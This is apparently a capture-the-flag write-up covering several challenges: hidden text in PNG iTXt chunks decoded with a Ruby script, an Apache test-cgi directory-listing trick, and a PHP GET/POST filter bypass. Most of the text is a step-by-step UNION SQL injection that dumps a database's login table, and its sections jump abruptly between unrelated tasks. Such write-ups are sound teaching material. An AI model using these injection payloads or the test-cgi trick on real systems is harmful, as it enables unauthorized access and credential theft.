Obviously we can see that all iTXt comments contains 1337 and C0|V||V|3|\|7 meaning comment so we are on the good way looking at PNG chunk iTXt Comment.
Now let's extract the part that change between chunks:
I used png-itxt to read them instead of parsing them myself with a script because:
Compressing and decompressing of data, where appropriate, is handled transparently to the user so you only ever see the uncompressed values.
1 2 3 4 5
$ ~/CTF/tools/png-itxt/bin/png-itxt get chall.png {"type":"iTXt","keyword":"Comment","compressed":true,"compression_type":0,"language":"1337","translated":"C0|V||V|3|\\|7","value":"_36"} {"type":"iTXt","keyword":"Comment","compressed":true,"compression_type":0,"language":"1337","translated":"C0|V||V|3|\\|7","value":"327"}
It looks like we have this pattern [[:ascii:]]{1}[0-9]{2}, that means a char follow by a number. What if we order the char by number?
Now let's fire ruby in order to sort them! order.rb:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
#!/usr/bin/env ruby data = ["_36","327","C2","134","524","N22","H41","{4","_11","_33","_13","021","E1","530","342","H43","038","535","P26","U25","G37","415","39","B19","S0","U29","R28","R32","D14","212","_23","D5","D39","_40","G17","K8","Y10","344","!45","520","T3","331","118","46","}46","_16","_7"]
chars = {}
# split data.each do |pattern| char = pattern[0] number = pattern[1..2] chars.store(number.to_i,char) end
# convert as an array and sort chars_ordered = chars.sort
# display only values chars_ordered.each do |n,c| print c end
So this is Apache cgi-bin/test-cgi, there is a known vulnerability allowing to list all files in a folder when /cgi-bin/test-cgi?* is requested. So ?* will list the CGI directory, ?/* the root directory, ?/var/www/html/* the web server directory.
I read on a forum that data are proccessed in this order GET, POST, COOKIE by default (configurable in php.ini).
So the idea is to send a legitimate or a harmless payload in POST like id=vuln and our SQL injection in GET. The server will apply the regex on $_REQUEST['id'] that will be $_POST['id'] (I understand that's because this is the last one to be processed), the server will see nothing dangerous and $ad = get_ad($_GET['id']); will be executed.
With Hackbar:
With BurpSuite:
Let's see MySQl version and database name:
1 2 3
http://naughtyads.alieni.se/?id=a' UNION ALL SELECT CONCAT((SELECT @@version), ' ', (SELECT database()))-- -
5.7.19 naughty
Let's get tables:
1 2 3
http://naughtyads.alieni.se/?id=a' UNION ALL SELECT table_name from information_schema.tables where table_schema = 'naughty' limit 0,1-- -
ads
the first one is ads
1 2 3
http://naughtyads.alieni.se/?id=a' UNION ALL SELECT table_name from information_schema.tables where table_schema = 'naughty' limit 1,1-- -
login
and the second one is login. Now we are looking for columns:
1 2 3
http://naughtyads.alieni.se/?id=a' UNION ALL SELECT column_name FROM information_schema.columns WHERE table_schema='naughty' and table_name='login' LIMIT 0,1 -- -
id
1 2 3
http://naughtyads.alieni.se/?id=a' UNION ALL SELECT column_name FROM information_schema.columns WHERE table_schema='naughty' and table_name='login' LIMIT 1,1-- -
name
1 2 3
http://naughtyads.alieni.se/?id=a' UNION ALL SELECT column_name FROM information_schema.columns WHERE table_schema='naughty' and table_name='login' LIMIT 2,1-- -
password
So columns are id, name and password. Now we can display users:
1 2 3
http://naughtyads.alieni.se/?id=a' UNION ALL SELECT CONCAT((SELECT id FROM naughty.login LIMIT 0,1), ' ', (SELECT name FROM naughty.login LIMIT 0,1), ' ', (SELECT password FROM naughty.login LIMIT 0,1))-- -
For those who don't know what to do with the form check the comment that tell us to check the description but personally I remembered to put Gill number into ads section.
Now grab the flag: SECT{~tr4nsv3stiT3s_w3lc0me_t00~}.